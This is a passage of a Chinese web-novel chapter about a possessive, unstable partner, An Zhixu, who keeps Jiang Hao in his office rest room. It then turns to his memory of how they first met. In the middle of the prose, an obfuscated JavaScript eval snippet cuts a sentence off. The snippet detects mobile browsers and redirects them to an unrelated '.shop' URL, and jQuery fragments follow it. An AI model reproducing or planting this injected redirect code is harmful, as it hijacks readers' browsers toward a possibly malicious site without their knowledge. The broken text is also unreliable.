一小时后，热气腾腾的盒饭在她面前一一揭开盖子。
姜好别过脸：“我没有胃口。”
“吃点吧。都是你爱吃的。”安知序取出筷子，耐心地夹起一块，递到她的唇边。
黏糊糊的汁水在她唇上擦过，姜好紧抿着唇，再度倔强地躲开。
僵持了一会，安知序放下筷子，离开了房间。
夜半，姜好还是将这些吃了。
因为她发现安知序没有离开办公室的打算。她缩在床角，有些怯地看他一个人艰难地脱衣：
“我们今晚不回家吗？”
“嗯。就在这里睡。”
休息室和一间卧室大小差不多，配置不缺，在这里过夜几天不成问题。
安知序打开袋子，里面傍晚他让助理买来的新衣服。一套睡衣和贴身内衣。
“去洗澡换衣服。”安知序命令她。
姜好摇摇头，缩进被子里睡了。被子将她裹得严严实实，唯有额头露在外面。
浴室里传来他洗漱的声音。他一个人明显吃力，比平日耗时更久。
浴室门开了又关，热气进入房间。
裹紧她的被子被掀开一角，一个带着湿润水汽和热意的胸膛贴上了她的后背。
安知序的手从她的腰侧穿过，向上，停在她的心口，感受着那失序的搏动。
“好好，你不要怪我。我只是太想你了。这几天，就这样陪陪我，好不好？”
“需要陪你几天？”
“不需要很久。”安知序吻她的耳垂，舌尖碾过她的软肉。
他的拥抱很紧，紧到姜好几乎无法呼吸。她没有回答，也没有挣脱，像一尊僵硬的玉雕地躺在他的怀里，唯有睁大的双眼望着黑暗中模糊的天花板。
他的手向下探寻，触及尚未开发的疆域。
灼热的气息如同蛇信，舔舐着她的耳廓与神经：
“给我生个孩子吧，好好。”
姜好猛地蜷缩起身子，身与心皆在本能地抗拒：“你生不了。”
“可以试管。”
姜好抓起他的手扔在一边：“你认真一点！”
“我很认真。我们已经在一起很久了，我想和你结婚，好好，我想有一个和你的孩子。我们一起抚养他长大，好不好？”
他的手再度抚上她的心口，微微紧绷的手臂横在她的胸前，宛如一道枷锁将她禁锢。
姜好再次抬起手，覆上他的手背。指尖插入指缝，十指交缠，她牵引着他的手，从她的心口移开。
“我不希望你在这样的情况下，和我聊这些。”
她深呼吸，情绪在克制下翻涌，“你认真思考过后，再给我答案。我们需要确定我们都在冷静的情况下，再去谈论这件事。”
肩上、胸前、腰侧束缚着她的力气，像退潮般，一丝一丝地松了。
安知序放开她。
“抱歉，好好，我太害怕了，我害怕失去你。我好怕你离开我。”
他的声音沉入枕头，带着破碎的哽咽，惹得她心烦意乱。
她无力应对他的示弱与无常的情绪，被子拉过耳际，将声音掩埋。
姜好几乎一夜未眠。
后半夜她转过身，借着昏暗的月色，凝着安知序锁紧的眉心。
她伸出手，指尖将那褶皱抚平。
责怪他，怨恨他，她做不到。心底那份经年累月的感情，如同深植的根系，无法被愤怒轻易斩断。
“好好……”
他迷迷糊糊醒来，甚至未曾完全清醒，手臂便已遵循本能，将她圈进怀里，紧紧抱住。
这次姜好没有再抗拒他的拥抱，依在他的怀抱，脸颊贴在胸膛。察觉到她的顺从，安知序更加用力地将她融入胸膛，仿佛揉进骨血，便能永不分离。
清晨，姜好先行起床。她走进浴室，洗了个热水澡，出来时看见安知序已经醒了，正撑着身体坐起。姜好还是习惯性上前，伸手搀扶。
安知序的目光落在她身上，那套新衣服勾勒出她的线条：“你穿这套很好看。”
刻意的、小心翼翼的赞美，试图维系着这份脆弱的温情时刻。
姜好不答话，沉默地穿鞋。
“你要去哪里？”安知序握住她的手腕。
“上班。”她的话简短，没有情绪。
“你答应过陪我几天。”安知序急切地俯身向前，试图离她近一点，好看清她晦暗不明的眼底。
“那我也得去上班，”姜好站起身，手腕自然而然抽离他的手掌，“我还有病人，他们需要我。”
“我也需要你！”
他的声音骤然拔高，带着孩童般的委屈。
“我比他们更需要你！”
姜好走向门口，握住门把，向下用力。
门开了。
安知序在床上看着她走进办公室，来到门前。
这一次，门纹丝未动。
安知序重新靠回床上，心跳在寂静中如擂鼓般剧烈跳动，冷汗从额边汩汩而下，浸湿了鬓角。
-
回国第二天，程泛声就来到安家拜访。给安以愿带了一整个行李箱的礼物，给安一槐和林婉秋的礼物也整整齐齐地码在客厅。
罕见的，晚饭只有四人同席。
程泛声看着桌上的四副碗筷，状似无意地询问：
“你哥哥和嫂嫂呢？不回来吃饭？”
安以愿正专心致志地拆礼物，程泛声又问了一遍，她才如梦初醒：“哦！哥哥啊，他最近忙得脚不沾地，直接住公司了。嫂嫂……嫂嫂不是被你喊到英国去了吗？”
“她没回来？”
“你问我我问谁？”安以愿一头雾水，“你不应该比我更清楚吗？”
被安以愿问得有些不确定了，程泛声打开手机确认了一下姜好的航班信息，又确认了一下这趟航班安全降落了。
“怎么啦？”安以愿见他蹙起眉。
“没事。”
程泛声给蒋桡与发消息，问他姜好来上班没有。
【蒋桡与：我问下】
【蒋桡与：没有啊。人事那里登记的还是出差状态。】
他又打开和姜好的对话框。
【程泛声：时差倒好了吗？明天来公司上班】
姜好倒是回复很快。
【姜好：我生病了，需要休息几天。我请假一周，可以吗？】
看到姜好的消息，程泛声紧绷的神经略微一松，打字：
【程泛声：可以，注意身体。尽早来上班，文琦那边需要你跟进】
【姜好：好的】
对话干脆利落地结束。
“你哥哥在忙什么？忙到都不回家。”
“嗯？”安以愿安以愿拎着两条丝巾在胸前比划，对着镜子臭美，不甚在意地说，“我哪知道，我又不掺和公司的事。哎，你帮我看下这两条哪个好看？”
程泛声心不在焉地随手一指。
晚餐时，安一槐问起他们这趟伦敦之行的收获。
安知序回家后显然已做过汇报，只不过安一槐还想听听专业人士的意见。
“情况很乐观。”程泛声放下汤匙，“OEMF为知序做了身体评估，只要辅以系统性训练，他完全可以穿戴设备进行独立的日常生活。只是具体的适应时长，目前还无法确定。”
几个对话来回，安一槐了解透彻后，满意地点点头：“我相信你们。”
-
姜好在房间里读书、写字、看剧，能线上处理的工作在电脑上完成。
她不再忤逆他。
她不想激怒安知序，也不想和他讨论那些了无意义的事情，她只想他的不安能快点消散，准许她离开房间，离开他的身边。
深夜他们黏在一起，安知序总是紧紧地抱着她，有好几次，姜好从睡眠中惊醒，本能地推开他大口呼吸。
下一秒安知序又将她拉回怀抱，圈在他的天地之间。
一天半夜醒来，姜好在黑暗中转过身，面朝着他。
她不抬头，不看着他的眼睛，只是凝着他的喉结，仅此而已。
“安知序，你在怕什么？”
其实她已经知道答案。
这趟伦敦之行，他怀疑了。怀疑她和李南恩、程泛声的关系。而安知序心里那个怀疑的箭头，无疑是指向李南恩的。
姜好不知该不该庆幸。
在回答从嘴里出来之前，安知序的手臂将她收紧，直到她再也看不见他的喉结或每一寸肌肤。
她的下巴被迫搁在他的肩上。
姜好全身上下哪里都是圆润的、柔和的，偏偏下巴这块骨头是硬硬的、尖尖的。
往常她这样靠着他时，他总会温柔地提醒她放轻力道。
但此刻他反而加重力气，肩上尖锐的疼痛让他保持清醒，也让他确认她的存在。
“我想起第一次见你的时候。”
那时他刚到美国不久，也刚失去健康的双腿不久。朋友为了让他振作，经常像从前那样带他出去游玩，也常在家中举办派对，就像他从前的生活那样。
但他再也不可能是从前的安知序了。
他对很多东西都兴致缺缺，包括朋友们精心准备的一切。他极力隐忍自己的扫兴，努力不辜负他们的好意，试图融入他们的狂热
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108377|191701||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
可他们的视线，或者避开不提的刻意，每一次都令他心如刀绞。
双腿失去知觉的他，坐在轮椅上动弹不得，只能静静地围观别人的狂欢，即便他始终被体贴地簇拥在人群中央。
但是，从前在他身上的目光，依然如同飞蛾那样消散了。
他回到房间。
有时，一个人比一群人更不孤独。
狂欢持续到半夜仍没有结束。他被突如其来的重金属音乐惊醒，睡梦中他大汗淋漓，醒来浑身湿透，心悸不已。
床边的轮椅静候着，那是他后半生的行走工具，余生无可分离。
他很费力地支起身子，滚到轮椅上。他斜靠着，又费了些力气将自己摆端正。那时他的上肢力量不够强大，独自完成一系列动作，他气喘吁吁，再次被汗水浸湿。
他来到浴室。没有人帮助，他只能进行简单的洗漱，打湿毛巾，擦拭身体。
他又来到衣帽间。
换衣服这件事，对现在的他来说，是件困难的事情。
他换掉湿透的上衣，找到一条崭新的裤子。他考虑了一下自己独自换裤子的难度，又将裤子挂了回去。
离开衣帽间前，他看见挂在架子上的披肩。
那是朋友送他的礼物，他不爱这些繁琐的服饰，此刻他却决定伸手将它取下。
他已经不再是从前的安知序了。很多东西，都在静悄悄地改变。
比如从前的他，狂妄自信，天之骄子。如今，披肩穿过他的肩头，整整齐齐地绕过他的脖颈，宛如盔甲。
他将许多思绪敛在披肩下，像是鸵鸟将脑袋埋进大地，他试图通过此，逃避他厌恶的目光。
他乘梯来到一楼。
人声鼎沸，音乐声与嬉闹声交织在一起，他正在心里决定应该怎样走进去。
应该怎样走进去，走入这间房，怎样若无其事地和他们打招呼。
好似他只是去了一趟洗手间。
什么都没有改变，他依然是他们之间没有隔阂的一份子。
黑暗中跃出一道光。
夹角里，一位高挑的女孩靠墙而立，捧着的手机照亮她的面颊。她并不是多漂亮出众的女孩，反正在安知序眼里是这么回事，从前他一定不会和这种女孩有过多交流。
她面容清冷，带着些许圆润，像将满的月。总之，和这热闹的派对格格不入。
她凝望着手机，手指飞快地敲击键盘。
她不眼熟，安知序没有见过，他知道朋友们经常会邀请各种各样的女孩活跃气氛，但他对此毫无兴趣。于是他并不打算惊扰她。
但是，那时转动方向他还不够熟练，发出的巨大声响惊动了她。
她从手机里抬起头来，看见他的一瞬间有些出神。
安知序猜她一定是在看他的腿。
没有一个人出声。手机屏幕熄灭，重新归于黑暗。她站着，他坐着，他默默转动轮椅，试图进入房间。
不知怎的，他很急躁，方才的失败也令他难堪，因此他滑动轮椅的动作比平日幅度更大，更用力，披肩轻轻滑落下他的肩膀。
他反应过来伸手去抓，却扑了个空。
女孩默默望着他，又低头看地上的披肩。
那披肩在她一步之遥的位置，她只需轻抬腿，轻弯腰。安知序以为她会帮他捡起，可女孩没有任何举动，仍然靠墙站着。
黑暗中，二人相顾无言。
安知序等待了一会她的援手，迟迟没有等到，终于明白过来她没打算帮他。
他再次调动轮椅，方向朝着女孩。俯身去够，他高估了身体坐姿时的折叠能力，手指勾了又勾，没能勾着。
他只好又坐起来，再次调整角度，判断距离。
安知序捡起披肩，抬头撞上女孩的面庞。
将满的月忽然圆满，清冷的月光自她的嘴角开始向外发散。
他捡起的不只是披肩，更是他的自尊。
而她，体贴地允许他自行捡起。
不依赖任何人。
那晚，安知序的视线再也没有离开过她。
久违回归身体的自尊令他鼓起勇气与她交谈，然而自卑依然在作祟，他不敢询问她的名字，不敢索求她的联系方式。
一夜过去，思念疯长，他向朋友辗转打听到她的名字。
姜好。
从那以后，她如同小鸟，时常飞入他的梦境。
翅膀扑簌扑簌作响，扰得他心如树影绰绰，只要风过，便哗哗作响，再不得安宁。
直到后来，这只小鸟，真的停在他这棵大树上，在他的枝丫上，安家筑巢。